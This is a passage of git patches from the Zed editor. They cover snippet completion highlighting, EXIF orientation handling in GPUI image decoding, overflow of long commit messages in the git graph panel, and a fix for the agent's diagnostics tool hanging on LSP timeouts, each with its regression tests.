+                    }
+                    let mut open_placeholders = SmallVec::<[OpenPlaceholder; 4]>::new();
+
                     for range in &all_stop_ranges {
                         let start_pos = range.start as usize;
                         let end_pos = range.end as usize;
 
+                        while let Some(placeholder) = open_placeholders.last() {
+                            if placeholder.snippet_text_end > start_pos {
+                                break;
+                            }
+                            label.push_str(&snippet.text[text_pos..placeholder.snippet_text_end]);
+                            text_pos = placeholder.snippet_text_end;
+                            runs.push((
+                                placeholder.label_run_start..label.len(),
+                                HighlightId::TABSTOP_REPLACE_ID,
+                            ));
+                            open_placeholders.pop();
+                        }
+
                         label.push_str(&snippet.text[text_pos..start_pos]);
+                        text_pos = start_pos;
 
                         if start_pos == end_pos {
                             let caret_start = label.len();
                             label.push('…');
                             runs.push((caret_start..label.len(), HighlightId::TABSTOP_INSERT_ID));
                         } else {
-                            let label_start = label.len();
-                            label.push_str(&snippet.text[start_pos..end_pos]);
-                            let label_end = label.len();
-                            runs.push((label_start..label_end, HighlightId::TABSTOP_REPLACE_ID));
+                            open_placeholders.push(OpenPlaceholder {
+                                snippet_text_end: end_pos,
+                                label_run_start: label.len(),
+                            });
                         }
+                    }
 
-                        text_pos = end_pos;
+                    while let Some(placeholder) = open_placeholders.pop() {
+                        label.push_str(&snippet.text[text_pos..placeholder.snippet_text_end]);
+                        text_pos = placeholder.snippet_text_end;
+                        runs.push((
+                            placeholder.label_run_start..label.len(),
+                            HighlightId::TABSTOP_REPLACE_ID,
+                        ));
                     }
 
                     label.push_str(&snippet.text[text_pos..]);
+                    runs.sort_unstable_by_key(|(range, _)| (range.start, Reverse(range.end)));
 
                     if detail_left.is_some_and(|detail_left| detail_left == new_text) {
                         // We only include the left detail if it isn't the snippet again
@@ -1453,6 +1482,7 @@ mod tests {
     use crate::language;
     use gpui::{BorrowAppContext, Hsla, TestAppContext};
     use lsp::CompletionItemLabelDetails;
+    use pretty_assertions::assert_eq;
     use settings::SettingsStore;
     use theme::SyntaxTheme;
     use util::path;
@@ -1876,6 +1906,34 @@ mod tests {
             ))
         );
 
+        assert_eq!(
+            adapter
+                .label_for_completion(
+                    &lsp::CompletionItem {
+                        kind: Some(lsp::CompletionItemKind::SNIPPET),
+                        label: "unimplemented".to_string(),
+                        insert_text_format: Some(lsp::InsertTextFormat::SNIPPET),
+                        text_edit: Some(lsp::CompletionTextEdit::Edit(lsp::TextEdit {
+                            range: lsp::Range::default(),
+                            new_text: "unimplemented!(${1:\"$2\"})".to_string(),
+                        })),
+                        ..lsp::CompletionItem::default()
+                    },
+                    &language,
+                )
+                .await,
+            Some(CodeLabel::new(
+                "unimplemented!(\"…\")".to_string(),
+                0..13,
+                vec![
+                    (15..20, HighlightId::TABSTOP_REPLACE_ID),
+                    (16..19, HighlightId::TABSTOP_INSERT_ID),
+                    (0..13, HighlightId::new(2)),
+                    (13..14, HighlightId::new(2)),
+                ],
+            ))
+        );
+
         // Postfix completion without actual tabstops (only implicit final $0)
         // The label should use completion.label so it can be filtered by "ref"
         let ref_completion = adapter

From 9552acc2bc242d45342fa9b5a987d43868aee1ec Mon Sep 17 00:00:00 2001
From: saberoueslati <saberoueslati12@gmail.com>
Date: Fri, 17 Jul 2026 09:29:17 +0100
Subject: [PATCH 513/772] gpui: Apply EXIF orientation when decoding static
 images (#61017)

## Context

Static images decoded by GPUI ignored their EXIF `Orientation` tag, so
JPEGs that rely on it (photos from phones and cameras) rendered rotated
or flipped in image preview, Markdown preview, and other `ImageSource`
consumers. The `image` crate only exposes orientation through
`ImageDecoder::orientation()`, which must be read before the decoder is
consumed; `DynamicImage::from_decoder` does not apply it. The old path
went straight through `image::load_from_memory_with_format`, so the
metadata was never read.

Closes #60844.

Video of manual test below :

[Screencast from 2026-07-15
02-14-41.webm](https://github.com/user-attachments/assets/002b0324-44f8-4ddb-acbd-8c3e070d5248)


## How to Review

**Cargo.toml**
Raises the workspace `image` dependency minimum from `0.25.1` to
`0.25.4`, the first release exposing `orientation()` and
`apply_orientation()`. The lockfile already resolves to `0.25.10`, so no
lock change is required.

**crates/gpui/src/platform.rs**
Adds two crate-private helpers. `decode_static_image_from_decoder` reads
`orientation()`, decodes to a `DynamicImage`, applies the orientation,
then converts RGBA to GPUI's BGRA. `decode_static_image` builds a format
decoder from bytes and delegates to it. `Image::to_image_data` now
routes its static formats through these helpers instead of
`image::load_from_memory_with_format`. Adds
`test_image_to_image_data_applies_exif_orientation`, which decodes a
16x32 fixture stored upside down with EXIF Orientation 3 and asserts the
corner pixels were flipped upright; the test fails if orientation is
dropped.

**crates/gpui/src/elements/img.rs**
Routes `ImageAssetLoader` (Markdown paths, URLs, embedded resources)
through the same helpers, including the static WebP branch. GIF and
animated-WebP frame handling are left unchanged, since animated
orientation is out of scope.

## Self-Review Checklist

- [x] I've reviewed my own diff for quality, security, and reliability
- [ ] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the UI/UX checklist
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- Fixed static images ignoring their EXIF orientation, which caused some
JPEGs to render rotated or flipped in image and Markdown preview.
---
 .../image/exif-orientation-rotate-180.jpg     | Bin 0 -> 378 bytes
 crates/gpui/examples/image/image.rs           |   6 +-
 crates/gpui/src/elements/img.rs               |  26 ++----
 crates/gpui/src/platform.rs                   |  75 ++++++++++++------
 4 files changed, 61 insertions(+), 46 deletions(-)
 create mode 100644 crates/gpui/examples/image/exif-orientation-rotate-180.jpg

diff --git a/crates/gpui/examples/image/exif-orientation-rotate-180.jpg b/crates/gpui/examples/image/exif-orientation-rotate-180.jpg
new file mode 100644
index 0000000000000000000000000000000000000000..9c095652a1697a63ce5b6eff0526baa4b51bafaf
GIT binary patch
literal 378
zcmex=<NpH&0WUXCHwH#V1_nkTWcdG(LCLiuGmU}4*Ox(yfq{VoC?~|g3}i8aNg(6@
zZ3btcC}rUP0S0ak1_cHIMn*w~|3?_)fflerj09Q%28>M1EUawo9GqO-Km}U`7?>ED
znVDFaSy@?FfU0YO@(e73tU`*0j%>n#iR?;+B1Vl97jh^&Z9FI%bn%0VaZ*teCzqJG
zgrt<Jn!1LjmWipExrL>bvx}>nyN9P&a7buactm7Wa!P7idPZheaY<=ec|~Pab4zPm
zdq-#2q{&mJPMbbs=B!1Fmn>bje8tLDn>KIRx^4T8ox2VlK63Qf@e?OcUAlbb>b2`P
zZr*zM=<$=M&z`?{`Re1R&tJZN`~KtSum86gI6y&b&+wnY{+Gt0{r4YrX{`T$698_d
BZD;@h

literal 0
HcmV?d00001

diff --git a/crates/gpui/examples/image/image.rs b/crates/gpui/examples/image/image.rs
index 45fce26d046c17..688f881bc6df94 100644
--- a/crates/gpui/examples/image/image.rs
+++ b/crates/gpui/examples/image/image.rs
@@ -100,7 +100,7 @@ impl Render for ImageShowcase {
                             .items_center()
                             .gap_8()
                             .child(ImageContainer::new(
-                                "Image loaded from a local file",
+                                "Image loaded from a local file with EXIF orientation",
                                 self.local_resource.clone(),
                             ))
                             .child(ImageContainer::new(
@@ -202,7 +202,9 @@ fn run_example() {
         cx.open_window(window_options, |_, cx| {
             cx.new(|_| ImageShowcase {
                 // Relative path to your root project path
-                local_resource: manifest_dir.join("examples/image/app-icon.png").into(),
+                local_resource: manifest_dir
+                    .join("examples/image/exif-orientation-rotate-180.jpg")
+                    .into(),
                 remote_resource: "https://picsum.photos/800/400".into(),
                 asset_resource: "image/color.svg".into(),
             })
diff --git a/crates/gpui/src/elements/img.rs b/crates/gpui/src/elements/img.rs
index 4850d895b63fe8..7e92ecba3d0ef4 100644
--- a/crates/gpui/src/elements/img.rs
+++ b/crates/gpui/src/elements/img.rs
@@ -2,14 +2,15 @@ use crate::{
     AnyElement, AnyImageCache, App, Asset, AssetLogger, Bounds, DefiniteLength, Element, ElementId,
     Entity, GlobalElementId, Hitbox, Image, ImageCache, InspectorElementId, InteractiveElement,
     Interactivity, IntoElement, LayoutId, Length, ObjectFit, Pixels, RenderImage, Resource,
-    SharedString, SharedUri, StyleRefinement, Styled, Task, Window, px,
+    SharedString, SharedUri, StyleRefinement, Styled, Task, Window, decode_static_image,
+    decode_static_image_from_decoder, px,
 };
 use anyhow::Result;
 
 use futures::Future;
 use gpui_util::ResultExt;
 use image::{
-    AnimationDecoder, DynamicImage, Frame, ImageError, ImageFormat, Rgba,
+    AnimationDecoder, ImageError, ImageFormat, Rgba,
     codecs::{gif::GifDecoder, webp::WebPDecoder},
 };
 use scheduler::Instant;
@@ -716,27 +717,10 @@ impl Asset for ImageAssetLoader {
 
                             frames
                         } else {
-                            let mut data = DynamicImage::from_decoder(decoder)?.into_rgba8();
-
-                            // Convert from RGBA to BGRA.
-                            for pixel in data.chunks_exact_mut(4) {
-                                pixel.swap(0, 2);
-                            }
-
-                            SmallVec::from_elem(Frame::new(data), 1)
+                            decode_static_image_from_decoder(decoder)?
                         }
                     }
-                    _ => {
-                        let mut data =
-                            image::load_from_memory_with_format(&bytes, format)?.into_rgba8();
-
-                        // Convert from RGBA to BGRA.
-                        for pixel in data.chunks_exact_mut(4) {
-                            pixel.swap(0, 2);
-                        }
-
-                        SmallVec::from_elem(Frame::new(data), 1)
-                    }
+                    _ => decode_static_image(&bytes, format)?,
                 };
 
                 Ok(Arc::new(RenderImage::new(data)))
diff --git a/crates/gpui/src/platform.rs b/crates/gpui/src/platform.rs
index df7973909c530c..3caf351fc86ffe 100644
--- a/crates/gpui/src/platform.rs
+++ b/crates/gpui/src/platform.rs
@@ -42,15 +42,15 @@ use crate::{
     RenderImageParams, RenderSvgParams, Scene, ShapedGlyph, ShapedRun, SharedString, Size,
     SvgRenderer, SystemWindowTab, Task, Window, WindowControlArea, hash, point, px, size,
 };
-use anyhow::Result;
 #[cfg(any(target_os = "linux", target_os = "freebsd"))]
 use anyhow::bail;
+use anyhow::{Context as _, Result};
 use async_task::Runnable;
 use futures::channel::oneshot;
 #[cfg(any(test, feature = "test-support"))]
 use image::RgbaImage;
 use image::codecs::gif::GifDecoder;
-use image::{AnimationDecoder as _, Frame};
+use image::{AnimationDecoder as _, DynamicImage, Frame};
 use raw_window_handle::{HasDisplayHandle, HasWindowHandle};
 use scheduler::Instant;
 pub use scheduler::RunnableMeta;
@@ -2368,6 +2368,33 @@ pub struct Image {
     pub id: u64,
 }
 
+pub(crate) fn decode_static_image(
+    bytes: &[u8],
+    format: image::ImageFormat,
+) -> Result<SmallVec<[Frame; 1]>> {
+    let decoder = image::ImageReader::with_format(Cursor::new(bytes), format)
+        .into_decoder()
+        .context("creating image decoder")?;
+    decode_static_image_from_decoder(decoder)
+}
+
+pub(crate) fn decode_static_image_from_decoder(
+    mut decoder: impl image::ImageDecoder,
+) -> Result<SmallVec<[Frame; 1]>> {
+    let orientation = decoder
+        .orientation()
+        .context("reading decoder's orientation")?;
+    let mut image = DynamicImage::from_decoder(decoder).context("decoding image")?;
+    image.apply_orientation(orientation);
+
+    let mut data = image.into_rgba8();
+    for pixel in data.chunks_exact_mut(4) {
+        pixel.swap(0, 2);
+    }
+
+    Ok(SmallVec::from_elem(Frame::new(data), 1))
+}
+
 impl Hash for Image {
     fn hash<H: Hasher>(&self, state: &mut H) {
         state.write_u64(self.id);
@@ -2423,20 +2450,6 @@ impl Image {
 
     /// Convert the clipboard image to an `ImageData` object.
     pub fn to_image_data(&self, svg_renderer: SvgRenderer) -> Result<Arc<RenderImage>> {
-        fn frames_for_image(
-            bytes: &[u8],
-            format: image::ImageFormat,
-        ) -> Result<SmallVec<[Frame; 1]>> {
-            let mut data = image::load_from_memory_with_format(bytes, format)?.into_rgba8();
-
-            // Convert from RGBA to BGRA.
-            for pixel in data.chunks_exact_mut(4) {
-                pixel.swap(0, 2);
-            }
-
-            Ok(SmallVec::from_elem(Frame::new(data), 1))
-        }
-
         let frames = match self.format {
             ImageFormat::Gif => {
                 let decoder = GifDecoder::new(Cursor::new(&self.bytes))?;
@@ -2463,18 +2476,18 @@ impl Image {
 
                 frames
             }
-            ImageFormat::Png => frames_for_image(&self.bytes, image::ImageFormat::Png)?,
-            ImageFormat::Jpeg => frames_for_image(&self.bytes, image::ImageFormat::Jpeg)?,
-            ImageFormat::Webp => frames_for_image(&self.bytes, image::ImageFormat::WebP)?,
-            ImageFormat::Bmp => frames_for_image(&self.bytes, image::ImageFormat::Bmp)?,
-            ImageFormat::Tiff => frames_for_image(&self.bytes, image::ImageFormat::Tiff)?,
-            ImageFormat::Ico => frames_for_image(&self.bytes, image::ImageFormat::Ico)?,
+            ImageFormat::Png => decode_static_image(&self.bytes, image::ImageFormat::Png)?,
+            ImageFormat::Jpeg => decode_static_image(&self.bytes, image::ImageFormat::Jpeg)?,
+            ImageFormat::Webp => decode_static_image(&self.bytes, image::ImageFormat::WebP)?,
+            ImageFormat::Bmp => decode_static_image(&self.bytes, image::ImageFormat::Bmp)?,
+            ImageFormat::Tiff => decode_static_image(&self.bytes, image::ImageFormat::Tiff)?,
+            ImageFormat::Ico => decode_static_image(&self.bytes, image::ImageFormat::Ico)?,
             ImageFormat::Svg => {
                 return svg_renderer
                     .render_single_frame(&self.bytes, 1.0)
                     .map_err(Into::into);
             }
-            ImageFormat::Pnm => frames_for_image(&self.bytes, image::ImageFormat::Pnm)?,
+            ImageFormat::Pnm => decode_static_image(&self.bytes, image::ImageFormat::Pnm)?,
         };
 
         Ok(Arc::new(RenderImage::new(frames)))
@@ -2559,6 +2572,22 @@ mod image_tests {
     use super::*;
     use std::sync::Arc;
 
+    #[test]
+    fn test_image_to_image_data_applies_exif_orientation() {
+        let image = Image::from_bytes(
+            ImageFormat::Jpeg,
+            include_bytes!("../examples/image/exif-orientation-rotate-180.jpg").to_vec(),
+        );
+
+        let render_image = image.to_image_data(SvgRenderer::new(Arc::new(()))).unwrap();
+
+        assert_eq!(render_image.size(0), size(16.into(), 32.into()));
+
+        let bytes = render_image.as_bytes(0).unwrap();
+        assert_eq!(&bytes[..4], &[255, 255, 255, 255]);
+        assert_eq!(&bytes[(16 * 32 - 1) * 4..], &[0, 0, 0, 255]);
+    }
+
     #[test]
     fn test_svg_image_to_image_data_converts_to_bgra() {
         let image = Image::from_bytes(

From 94e59ce2f83a3aaaf80efa2fd2c6a033994b0b34 Mon Sep 17 00:00:00 2001
From: Shuhei Kadowaki <40514306+aviatesk@users.noreply.github.com>
Date: Fri, 17 Jul 2026 17:43:11 +0900
Subject: [PATCH 514/772] git_graph: Fix long commit message overflow in detail
 panel (#61163)

Follow-up to zed-industries/zed#60721.

The Taffy 0.12 upgrade exposed that the message height limit was applied
to its grid parent while percentage-sized children retained the Markdown
content's intrinsic height. Long messages therefore painted over the
changed-files summary instead of scrolling.

Move the height limit to the scroll container itself, matching the
commit view. Add a GPUI regression test that verifies the viewport stays
bounded, remains scrollable, and does not overlap the changed-files
list.

> On `main`:
<img width="697" height="873" alt="Screenshot 2026-07-17 at 14 59 21"
src="https://github.com/user-attachments/assets/51e6cc0e-aeac-4ad1-a6af-2120efcef901"
/>

---

Release Notes:

- N/A
---
 crates/git_ui/src/git_graph.rs | 132 ++++++++++++++++++++++++++++++++-
 1 file changed, 131 insertions(+), 1 deletion(-)

diff --git a/crates/git_ui/src/git_graph.rs b/crates/git_ui/src/git_graph.rs
index 43995457906849..f0e4151d8e0407 100644
--- a/crates/git_ui/src/git_graph.rs
+++ b/crates/git_ui/src/git_graph.rs
@@ -3725,7 +3725,6 @@ impl GitGraph {
             // grid, on the other hand, doesn't appear to give taffy the same
             // problems.
             .w_full()
-            .max_h(line_height * 12.)
             .py_2()
             .pl_2()
             .grid()
@@ -3740,6 +3739,7 @@ impl GitGraph {
                             .id("commit-message")
                             .text_sm()
                             .size_full()
+                            .max_h(line_height * 12.)
                             .overflow_y_scroll()
                             .track_scroll(scroll_handle)
                             .child(MarkdownElement::new(message.clone(), message_style)),
@@ -7381,6 +7381,136 @@ mod tests {
         });
     }
 
+    #[gpui::test]
+    async fn test_long_commit_message_is_constrained_to_scroll_viewport(cx: &mut TestAppContext) {
+        init_test(cx);
+
+        let fs = FakeFs::new(cx.executor());
+        fs.insert_tree(
+            Path::new("/project"),
+            json!({ ".git": {}, "file.txt": "content" }),
+        )
+        .await;
+
+        let commit_sha = Oid::from_bytes(&[1; 20]).expect("commit SHA should be valid");
+        let commits = vec![Arc::new(InitialGraphCommitData {
+            sha: commit_sha,
+            parents: smallvec![],
+            ref_names: vec!["HEAD -> main".into()],
+        })];
+        fs.set_graph_commits(Path::new("/project/.git"), commits);
+
+        let message = (0..40)
+            .map(|line_number| {
+                format!(
+                    "Line {line_number}: This commit message is long enough to require scrolling."
+                )
+            })
+            .collect::<Vec<_>>()
+            .join("\n\n");
+        fs.set_commit_data(
+            Path::new("/project/.git"),
+            [(
+                CommitData {
+                    sha: commit_sha,
+                    parents: smallvec![],
+                    author_name: "Author".into(),
+                    author_email: "author@example.com".into(),
+                    commit_timestamp: 1_700_000_000,
+                    subject: "Long commit message".into(),
+                    message: message.into(),
+                },
+                false,
+            )],
+        );
+
+        let project = Project::test(fs.clone(), [Path::new("/project")], cx).await;
+        cx.run_until_parked();
+
+        let repository = project.read_with(cx, |project, cx| {
+            project
+                .active_repository(cx)
+                .expect("should have a repository")
+        });
+        let (multi_workspace, cx) = cx.add_window_view(|window, cx| {
+            workspace::MultiWorkspace::test_new(project.clone(), window, cx)
+        });
+        let workspace_weak =
+            multi_workspace.read_with(&*cx, |multi, _| multi.workspace().downgrade());
+        let git_graph = cx.new_window_entity(|window, cx| {
+            GitGraph::new(
+                repository.read(cx).id,
+                project.read(cx).git_store().clone(),
+                workspace_weak,
+                None,
+                window,
+                cx,
+            )
+        });
+        cx.run_until_parked();
+
+        git_graph.update_in(cx, |graph, window, cx| {
+            graph.select_first(&menu::SelectFirst, window, cx);
+        });
+        cx.run_until_parked();
+
+        git_graph.update(cx, |graph, cx| {
+            graph.selected_commit_diff = Some(CommitDiff {
+                files: vec![CommitFile {
+                    path: RepoPath::new("file.txt").expect("repository path should be valid"),
+                    old_text: Some("content".into()),
+                    new_text: Some("updated content".into()),
+                    is_binary: false,
+                }],
+            });
+            graph.selected_commit_diff_stats = Some((1, 1));
+            cx.notify();
+        });
+
+        cx.draw(
+            point(px(0.), px(0.)),
+            gpui::size(px(1200.), px(800.)),
+            |_, _| git_graph.clone().into_any_element(),
+        );
+        cx.run_until_parked();
+
+        let (message_scroll_handle, changed_files_scroll_handle) =
+            git_graph.read_with(&*cx, |graph, _| {
+                (
+                    graph
+                        .selected_commit_message
+                        .as_ref()
+                        .expect("selected commit message should be loaded")
+                        .scroll_handle
+                        .clone(),
+                    graph.changed_files_scroll_handle.clone(),
+                )
+            });
+        let maximum_message_height = git_graph.update_in(cx, |_, window, cx| {
+            editor::hover_markdown_style(window, cx)
+                .base_text_style
+                .line_height_in_pixels(window.rem_size())
+                * 12.
+        });
+        let message_bounds = message_scroll_handle.bounds();
+        let changed_files_bounds = changed_files_scroll_handle.0.borrow().base_handle.bounds();
+
+        assert!(
+            message_bounds.size.height <= maximum_message_height,
+            "commit message viewport height ({}) should not exceed its maximum ({})",
+            message_bounds.size.height,
+            maximum_message_height,
+        );
+        assert!(
+            message_scroll_handle.max_offset().y > px(0.),
+            "long commit message should be scrollable"
+        );
+        assert!(
+            message_bounds.bottom() <= changed_files_bounds.top(),
+            "commit message viewport {message_bounds:?} should not overlap changed files {changed_files_bounds:?}"
+        );
+    }
+
     #[gpui::test]
     async fn test_commit_message_not_reloaded_for_same_sha(cx: &mut TestAppContext) {
         init_test(cx);

From c7148c8190d7740d51f6e380f993ba589aaf0751 Mon Sep 17 00:00:00 2001
From: Lukas Wirth <lukas@zed.dev>
Date: Fri, 17 Jul 2026 10:45:02 +0200
Subject: [PATCH 515/772] project: Fix agent hanging indefinitely when pulling
 workspace diagnostics (#61176)

The agent's diagnostics tool waits on pull_workspace_diagnostics_once,
which enqueues a completion signal into the background workspace
diagnostics refresh loop. When a language server failed to answer
workspace/diagnostic requests, that signal could be stranded, leaving
the agent stuck on 'Check project diagnostics' (reported with logs full
of 'Timeout during workspace diagnostics pull' and requests cancelled
after 120s).

Three hang paths in lsp_workspace_diagnostics_refresh:

1. Timeouts never resolved the completion signal. On
ConnectionResult::Timeout the loop just retried, holding the waiter
through up to 50 attempts x 120s each (~100 minutes) before the sender
was finally dropped.

2. Waiters could queue behind an already-hanging request. The refresh
channel has capacity 1; if the loop was mid-retry (e.g. the initial pull
at server startup was timing out), a newly enqueued waiter sat
unreceived until the entire retry cycle ended.

3. The request timeout was permanently disabled after the first partial
result. The timer raced progress_rx.recv() once and became pending()
forever if progress won, so a server that streamed one chunk and then
stalled hung the request indefinitely.

Fixes:

- On timeout, release all pending waiters (including ones that queued
mid-flight) with refreshed = false, so callers fall back to cached
diagnostics after at most one timeout period while the background loop
keeps retrying.

- Carry waiters as a Vec and absorb refresh requests queued during
backoff/in-flight requests into the current attempt instead of
serializing them behind it.

- Restart the timeout whenever a partial result arrives, turning it into
an inactivity timeout: streaming servers get unlimited total time while
they keep making progress, but a stalled stream now times out instead of
hanging forever.

Adds a regression test with a fake server that never answers workspace
diagnostic pulls, verifying the waiter resolves after the timeout; it
fails with 'Parking forbidden' (infinite hang) without the fix.

Closes FR-124

Release Notes:

- Fixed agents hanging indefinitely if an LSP server never responds to
diagnostics requests
---
 crates/project/src/lsp_store.rs               | 48 ++++++++++----
 .../tests/integration/project_tests.rs        | 65 +++++++++++++++++++
 2 files changed, 102 insertions(+), 11 deletions(-)

diff --git a/crates/project/src/lsp_store.rs b/crates/project/src/lsp_store.rs
index 38117a9731cda9..c1e5ca31f53d7a 100644
--- a/crates/project/src/lsp_store.rs
+++ b/crates/project/src/lsp_store.rs
@@ -61,7 +61,7 @@ use collections::{BTreeMap, BTreeSet, HashMap, HashSet, btree_map};
 use futures::{
     AsyncWriteExt, Future, FutureExt, StreamExt,
     channel::oneshot,
-    future::{Either, Shared, join_all, pending, select},
+    future::{Either, Shared, join_all, select},
     select, select_biased,
     stream::FuturesUnordered,
 };
@@ -123,7 +123,6 @@ use std::{
     collections::{VecDeque, hash_map},
     convert::TryInto,
     ffi::OsStr,
-    future::ready,
     iter, mem,
     ops::{ControlFlow, Range},
     path::{self, Path, PathBuf},
@@ -14152,9 +14151,10 @@ fn lsp_workspace_diagnostics_refresh(
         let mut requests = 0;
 
         loop {
-            let Some(mut completion_tx) = refresh_rx.recv().await else {
+            let Some(completion_tx) = refresh_rx.recv().await else {
                 return;
             };
+            let mut completion_txs = completion_tx.into_iter().collect::<Vec<_>>();
 
             'request: loop {
                 requests += 1;
@@ -14170,6 +14170,12 @@ fn lsp_workspace_diagnostics_refresh(
                     .await;
                 attempts += 1;
 
+                // Absorb refresh requests that queued up in the meantime, so their
+                // waiters are resolved by this attempt instead of waiting behind it.
+                while let Ok(queued_refresh) = refresh_rx.try_recv() {
+                    completion_txs.extend(queued_refresh);
+                }
+
                 let Ok(previous_result_ids) = lsp_store.update(cx, |lsp_store, _| {
                     lsp_store
                         .result_ids_for_workspace_refresh(server.server_id(), &registration_id_shared)
@@ -14196,8 +14202,21 @@ fn lsp_workspace_diagnostics_refresh(
                 };
 
                 progress_rx.try_recv().ok();
-                let timer = server.request_timer(timeout).fuse();
-                let progress = pin!(progress_rx.recv().fuse());
+                // Restart the timeout whenever a partial result arrives: streaming
+                // servers may legitimately take longer than a single timeout period,
+                // but a server that stops streaming without completing the request
+                // should still time out instead of hanging forever.
+                let timer = async {
+                    loop {
+                        let timer = pin!(server.request_timer(timeout).fuse());
+                        let progress = pin!(progress_rx.recv().fuse());
+                        match select(timer, progress).await {
+                            Either::Left((message, ..)) => break message,
+                            Either::Right((Some(()), ..)) => {}
+                            Either::Right((None, timer)) => break timer.await,
+                        }
+                    }
+                };
                 let response_result = server
                     .request_with_timer::<lsp::WorkspaceDiagnosticRequest, _>(
                         lsp::WorkspaceDiagnosticParams {
@@ -14208,10 +14227,7 @@ fn lsp_workspace_diagnostics_refresh(
                                 partial_result_token: Some(lsp::ProgressToken::String(token)),
                             },
                         },
-                        select(timer, progress).then(|either| match either {
-                            Either::Left((message, ..)) => ready(message).left_future(),
-                            Either::Right(..) => pending::<String>().right_future(),
-                        }),
+                        timer,
                     )
                     .await;
 
@@ -14220,6 +14236,16 @@ fn lsp_workspace_diagnostics_refresh(
                 match response_result {
                     ConnectionResult::Timeout => {
                         log::error!("Timeout during workspace diagnostics pull");
+                        // Release everyone waiting on this refresh (e.g. the agent's
+                        // diagnostics tool), including waiters that queued up while the
+                        // request was in flight, so they can fall back to cached
+                        // diagnostics instead of waiting through every retry.
+                        while let Ok(queued_refresh) = refresh_rx.try_recv() {
+                            completion_txs.extend(queued_refresh);
+                        }
+                        for tx in completion_txs.drain(..) {
+                            tx.send(false).ok();
+                        }
                         continue 'request;
                     }
                     ConnectionResult::ConnectionReset => {
@@ -14228,7 +14254,7 @@ fn lsp_workspace_diagnostics_refresh(
                     }
                     ConnectionResult::Result(Err(e)) => {
                         log::error!("Error during workspace diagnostics pull: {e:#}");
-                        if let Some(tx) = completion_tx.take() {
+                        for tx in completion_txs.drain(..) {
                             tx.send(false).ok();
                         }
                         break 'request;
@@ -14248,7 +14274,7 @@ fn lsp_workspace_diagnostics_refresh(
                         {
                             return;
                         }
-                        if let Some(tx) = completion_tx.take() {
+                        for tx in completion_txs.drain(..) {
                             tx.send(true).ok();
                         }
                         break 'request;
diff --git a/crates/project/tests/integration/project_tests.rs b/crates/project/tests/integration/project_tests.rs
index 6ec9f34502122e..bf90db372ea8b6 100644
--- a/crates/project/tests/integration/project_tests.rs
+++ b/crates/project/tests/integration/project_tests.rs
@@ -4644,6 +4644,71 @@ async fn test_diagnostic_summaries_retained_on_buffer_close_with_workspace_diagn
     });
 }
 
+#[gpui::test]
+async fn test_workspace_diagnostics_pull_timeout_releases_waiters(cx: &mut gpui::TestAppContext) {
+    init_test(cx);
+
+    let fs = FakeFs::new(cx.executor());
+    fs.insert_tree(path!("/dir"), json!({ "a.rs": "one two three" }))
+        .await;
+
+    let project = Project::test(fs, [path!("/dir").as_ref()], cx).await;
+    let language_registry = project.read_with(cx, |project, _| project.languages().clone());
+    language_registry.add(rust_lang());
+
+    let mut fake_servers = language_registry.register_fake_lsp(
+        "Rust",
+        FakeLspAdapter {
+            capabilities: lsp::ServerCapabilities {
+                diagnostic_provider: Some(lsp::DiagnosticServerCapabilities::Options(
+                    lsp::DiagnosticOptions {
+                        identifier: Some("test-ws-timeout".to_string()),
+                        inter_file_dependencies: true,
+                        workspace_diagnostics: true,
+                        work_done_progress_options: Default::default(),
+                    },
+                )),
+                ..lsp::ServerCapabilities::default()
+            },
+            initializer: Some(Box::new(move |fake_server| {
+                // Simulate a server that holds workspace diagnostic pull requests
+                // open forever without responding or streaming partial results.
+                fake_server.set_request_handler::<lsp::request::WorkspaceDiagnosticRequest, _, _>(
+                    move |_, _| async move {
+                        future::pending::<()>().await;
+                        Err(anyhow::anyhow!("should never respond"))
+                    },
+                );
+            })),
+            ..FakeLspAdapter::default()
+        },
+    );
+
+    let (_buffer, _handle) = project
+        .update(cx, |project, cx| {
+            project.open_local_buffer_with_lsp(path!("/dir/a.rs"), cx)
+        })
+        .await
+        .unwrap();
+
+    let _fake_server = fake_servers.next().await.unwrap();
+    cx.executor().run_until_parked();
+
+    let lsp_store = project.read_with(cx, |project, _| project.lsp_store());
+    let pull_task = lsp_store.update(cx, |lsp_store, cx| {
+        lsp_store.pull_workspace_diagnostics_once(cx)
+    });
+
+    // The waiter must be released after the request times out, instead of
+    // being held through every retry of the background refresh loop.
+    cx.executor().advance_clock(DEFAULT_LSP_REQUEST_TIMEOUT * 2);
+    let refreshed = pull_task.await;
+    assert!(
+        !refreshed,
+        "pull should report a failed refresh when the server never responds"
+    );
+}
+
 #[gpui::test]
 async fn test_edits_from_lsp2_with_past_version(cx: &mut gpui::TestAppContext) {
     init_test(cx);

From 6d66d5749deea76b756ececa3602d3c13f411e4f Mon Sep 17 00:00:00 2001
From: Lukas Wirth <lukas@zed.dev>
Date: Fri, 17 Jul 2026 10:57:46 +0200
Subject: [PATCH 516/772] git_graph: Fix commit message overflowing into
 changed files section (#61177)

This regressed in https://github.com/zed-industries/zed/pull/59674

Closes FR-125

Release Notes:

- Fixed an issue where the commit message in the git panel could overlap
other content
---
 crates/git_ui/src/git_graph.rs | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/crates/git_ui/src/git_graph.rs b/crates/git_ui/src/git_graph.rs
index f0e4151d8e0407..cd3c751bcfeea4 100644
--- a/crates/git_ui/src/git_graph.rs
+++ b/crates/git_ui/src/git_graph.rs
@@ -3733,12 +3733,12 @@ impl GitGraph {
             .child(
                 div()
                     .relative()
-                    .size_full()
+                    .w_full()
                     .child(
                         div()
                             .id("commit-message")
                             .text_sm()
-                            .size_full()
+                            .w_full()
                             .max_h(line_height * 12.)
                             .overflow_y_scroll()
                             .track_scroll(scroll_handle)

From dde45ff09276331eb58419c3245d4a3ccb7534f6 Mon Sep 17 00:00:00 2001
From: Kirill Bulatov <kirill@zed.dev>
Date: Fri, 17 Jul 2026 12:01:06 +0300
Subject: [PATCH 517/772] Mimic macOS bundling behavior for Windows builds
 (#61180)

Rei-mplements the logic from
https://github.com/zed-industries/zed/blob/9552acc2bc242d45342fa9b5a987d43868aee1ec/script/bundle-mac#L120-L123
for Windows bundling so that `run-bundling` label in CI can build
unsigned Windows binaries properly.

Release Notes:

- N/A
---
 crates/zed/resources/windows/zed.iss |  2 +-
 script/bundle-windows.ps1            | 38 ++++++++++++++++++++--------
 2 files changed, 28 insertions(+), 12 deletions(-)

diff --git a/crates/zed/resources/windows/zed.iss b/crates/zed/resources/windows/zed.iss
index 9df6d3b228272e..b0481daa6a1bd9 100644
